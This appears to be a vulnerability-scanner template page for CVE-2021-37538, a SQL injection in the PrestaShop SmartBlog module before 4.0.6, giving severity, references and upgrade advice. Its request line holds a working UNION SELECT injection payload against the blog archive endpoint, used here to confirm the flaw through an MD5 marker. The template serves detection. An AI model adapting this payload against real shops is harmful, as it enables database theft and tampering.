CVE-2021-37538: PrestaShop SmartBlog <4.0.6 - SQL Injection

2025-08-01 PrestaShop SmartBlog PoC Public

Description

PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality.

PoC

id: CVE-2021-37538

info:
  name: PrestaShop SmartBlog <4.0.6 - SQL Injection
  author: whoever
  severity: critical
  description: PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality.
  impact: |
    An attacker can gain unauthorized access to the database, extract sensitive information, modify data, or perform other malicious activities.
  remediation: |
    Upgrade PrestaShop SmartBlog to version 4.0.6 or later to mitigate the SQL Injection vulnerability.
  reference:
    - https://blog.sorcery.ie/posts/smartblog_sqli/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37538
    - https://classydevs.com/free-modules/smartblog/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37538
    cwe-id: CWE-89
    epss-score: 0.74489
    epss-percentile: 0.99468
    cpe: cpe:2.3:a:smartdatasoft:smartblog:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: smartdatasoft
    product: smartblog
    framework: prestashop
  tags: cve2021,cve,prestashop,smartblog,sqli,smartdatasoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c5fe25896e49ddfe996db7508cf00534"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076441d9d0f253bb1ddc2b88ad386a37ec25c81e980a606cde4bb182869177555022100eab746cc58d87e7a5c1e28aca4f5cf6249426586d246b70243bf00a827b081e1:922c64590222798bb761d5b6d8e72950

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